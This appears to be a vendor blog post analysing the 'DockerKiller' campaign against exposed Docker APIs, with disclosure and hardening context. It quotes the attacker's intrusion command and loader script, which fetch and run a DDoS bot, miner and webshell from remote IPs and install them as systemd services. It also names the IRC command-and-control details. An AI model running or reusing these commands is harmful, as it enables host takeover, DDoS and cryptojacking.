By Nianjing Wu, Senior Security Engineer at Alibaba Cloud
As microservices continue to gain popularity, more enterprises use containers to deploy applications, with Docker being a popular choice for large-scale microservice implementation. According to Datadog survey, Docker runs on 20% of all hosts, with 25% of companies adopted Docker, and more than 700 million containers are run in Docker. While most of the deployment efforts are focused on orchestration and DevOps, security is often overlooked, and Docker services can become an easy target for exploitation.
The Alibaba Cloud Security team has recently discovered a novel attack on Docker services exposed on the web. While default malware functionality includes a rich DDoS and coin mining functionality, with a powerful webshell backdoor, the capabilities of this malware are unlimited. The cloud location of many Docker deployments makes it possible to execute extremely powerful in-cloud DDoS attacks and cloud-to-cloud DDoS attacks.
This Docker attack vector can become more popular as the methods evolve. We recommend that enterprises strengthen their edge application management to secure their container-based microservices deployments. While we are working closely with Docker to help them improve Docker security, companies need to secure their Docker deployments now, and this detailed analysis includes our hardening recommendations on how prevent DockerKiller from taking over Docker deployment.
Head of Security Innovation Labs, Alibaba Cloud
Docker is a popular open source application container engine allowing developers to package their applications and dependencies into a portable container, which can then be published to any mainstream Linux server. Because of its outstanding portability, Docker is widely used in simplified configuration and rapid deployment in multi-tenant environments. Companies increasingly use Docker in production environments and it is already widely deployed in cloud environments.
While Docker improves development productivity and deployment process, many think containers and container service are somehow immune from security vulnerabilities and container hardening is not given as much attention. RCE methods, developed successfully for database servers (for example, the infamous DDG botnet quickly spread through an unauthorized access vulnerability in Redis), are tried for other exposed services, such as Docker. Docker's Remote API can also be vulnerable to unauthorized access when improperly configured. Similar to the process employed in the Redis attack, an attacker can gain unauthorized access to the Docker data, steal or tamper with sensitive data, and take control of the server.
With Server Guard's behavioral anomaly detection and a following manual investigation, the Alibaba Cloud Security team discovered an attack and exploitation of Docker services, which can be used to launch DDoS attacks and mining operations, and maintain webshell backdoors. Associated with the attack files,
bashd, xm, p.php, among others, were discovered on compromised hosts and were analyzed. We appropriately call this attack DockerKiller as the attack can not only compromise, but also disable Docker. We do not see widespread exploitations in our cloud, yet, but other cloud environments and many customers worldwide can be affected to a greater extent. While Alibaba Cloud security has been able to protect customers against the described variant of the attacks by blocking this malicious massive scanning activity, our security team continues to monitor its development and will continue to publish updates on the DockerKiller.
This article describes each step of DockerKiller kill chain, from scanning to intrusion to exploitation, providing you with an in-depth analysis of the discovered Docker vulnerability.
In July 2018, Alibaba Cloud Security discovered the DockerKiller download server, which stored Linux shell scripts, binaries, php files and some configuration files. The files were created on July 17, 2018.
Upon the content analysis, these files were found to include scanning and intrusion scripts, DDoS Trojans, mining programs, and Webshells. These files are combined into a series of processes, from scanning to exploitation to backdoor maintenance.
The complete attack flow chart is as follows:
In the following section, we provide detailed analysis of each of the three steps: the intrusion, exploitation, and opening the backdoor.
From the logs in p.txt, we can see that the author used Masscan to scan five network segment addresses starting with 172 on July 16, 2018. We suspect that this was a test run of the scanning script.
test.sh acted as the intrusion script. The script reads the list of Docker container IP addresses with an open port 2375 from dockerips.txt obtained with Masscan. Exploiting unauthorized Docker access vulnerability, the script then attempts to download 159.203.21.* and execute auto.sh on each of the found IP address, and upon successful execution, auto.sh is deleted.
The key shell command from the above, magnified:
docker -H tcp://$HOSTLINE:2375 run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "wget http://220.127.116.11/p/auto.sh" -O auto.sh;chmod 777 auto.sh;sleep 2s;sh auto.sh;sleep 5s;rm auto.sh
Once Docker is compromised and auto.sh is executed, earlier versions of malicious files, if any, are removed, and then updated files are downloaded from the server to the compromised server, including the webshell, mining program, backdoor program, task files, and mining configuration files, and proceeds to their execution.
The sequence of the attack is as follows:
The related scripts are as follows:
#! /bin/sh rm bashd. 1; rm xm. 1; rm data.cfg. 1; rm bashd.service. 1; rm xm.service. 1; wget http://18.104.22.168/p/p.php -O privacy.php | sed 's/\r//g'; cp privacy.php /var/www/html/privacy.php; cp privacy.php /var/www/privacy.php; rm privacy.php; chmod -R 777 /var/www; wget http://22.214.171.124/p/bashd -O bashd | sed 's/\r//g'; wget http://126.96.36.199/p/xm -O xm | sed 's/\r//g'; wget http://188.8.131.52/p/data.cfg -O data.cfg | sed 's/\r//g'; wget http://184.108.40.206/p/bashd.service -O bashd.service | sed 's/\r//g'; wget http://220.127.116.11/p/xm.service -O xm.service | sed 's/\r//g'; sleep 2s; chmod 777 bashd; chmod 777 xm; sleep 2s; mv "bashd.service" "/etc/systemd/system/bashd.service"; mv "xm.service" "/etc/systemd/system/xm.service"; systemctl daemon-reload; systemctl stop bashd.service; systemctl stop xm.service; systemctl enable bashd.service; systemctl start bashd.service; systemctl enable xm.service; systemctl start xm.service;
The sample of bashd we had in our lab was a modified version of kaiten.c, an IRC-based DDoS client. The size is of the file is 42 KB, complied for x86-64, compiled at 11:35, July 17, 2018.
Once the program enters the main process, it will randomly select and connect to one of three servers, irc.dal.net, irc.efnet.org, and us.quakenet.org. It will then connect to the channel "#kotchat" using the password "kingofthehill"
The addresses of all three servers in the code:
After establishing a connection with the server, it waits for commands. Supported commands include launching ACK and SYN flood attacks, sending UDP packets, and capturing network data packets. A full list of the supported commands, from the code:
The program executes related instructions by calling the appropriate code. For example, the SYN FLOOD attack code used by the malware is as follows:
Here is the ACK FLOOD attack code:
The code runs automatically after infecting the host, and connects directly to command and control servers through IRC for instructions. Once compromised, the host becomes a DDoS client capable of launching strong DDoS attacks, only limited by the bandwidth of the internet connection.
The 'xm' mining program is modified from the open-source xmrig mining tool. The size is of the file is 1.9 MB, compiled for x86-64. It was compiled at 11:35, July 17, 2018. It supports the following commands:
During the sample analysis, wallet addresses could not be identified. The server configuration file data.cfg, which should have wallet address information, could not be downloaded. Based on the file creation time and the discovery timing, we suspect that DockerKiller is still in the testing and evaluation phase, and has yet to be launched on a large scale.
p.php was coded in PHP by the author attempting to obscure its contents. The original, obfuscated p.php file is as follows:
After successful decoding by our security team, the content can be easily analyzed:
We found that p.php is a Trojan with rich functionality, such as the ability to display basic information, execute commands, upload files, and crack passwords.
p.php is downloaded from the server to the compromised host machine after auto.sh is executed. It uses the cp command to copy the privacy.php file to the root directory
/var/www of the server. Once these web services are deployed on Docker server, they can act as backdoors to carry out subsequent attack stages, such as file theft, command execution, and destruction.
If you are using Docker in the cloud environment, even when it's not used in production, the deployment needs to be hardened to protect against DockerKiller. Below is a list of actions we recommend:
|bashd||1fec42b7959f31d2c1da59f764e4d554||Remote control, DDoS client|
where we masked the c block address while we are working with the hosting cloud service to take down the downloader servers and prevent further infection.
DockerKiller exploits vulnerabilities in Docker for unauthorized access to launch DDoS attacks, mining operations, and maintain WebShell backdoors for any other malicious activity. We did not find any information about the related wallet address from the traceability analysis of the sample. Considering relatively low scale deployment and lack of DDoS attacks launched after infection, it is plausible that DockerKiller is still in the test phase, and has not been widely deployed yet. However, based on prior security incidents based on the unauthorized access vulnerability in Redis, it is not hard to imagine that this Docker vulnerability can be exploited at scale. As a growing number of enterprises continue to deploy Docker as a microservice container, a large number of these deployment can be compromised due to improper configuration.
Once we detected and analyzed DockerKiller, we contacted Docker and reported our findings, and received a response:
Before Docker becomes more secure out of the box, we recommend that enterprises perform regular checks of the Docker configuration, and enhance edge application security in general, to keep their cloud infrastructure secure.
Alibaba Cloud Security - February 26, 2019
Alibaba Cloud Security - January 13, 2019
Jincheng Liu - July 6, 2018
Alibaba Cloud Security - December 25, 2018
Alibaba Cloud Security - August 23, 2018
Alibaba Cloud Security - July 31, 2018
Identify vulnerabilities and improve security management of Alibaba Cloud WAF and Anti-DDoS and with a fully managed security serviceLearn More
A secure image hosting platform providing containerized image lifecycle managementLearn More
Alibaba Cloud Mobile Security is an online mobile application security service that protects applications from potential risks, threats and vulnerabilitiesLearn More
A high-performance container manage service that provides containerized application lifecycle managementLearn More
More Posts by Alibaba Cloud Security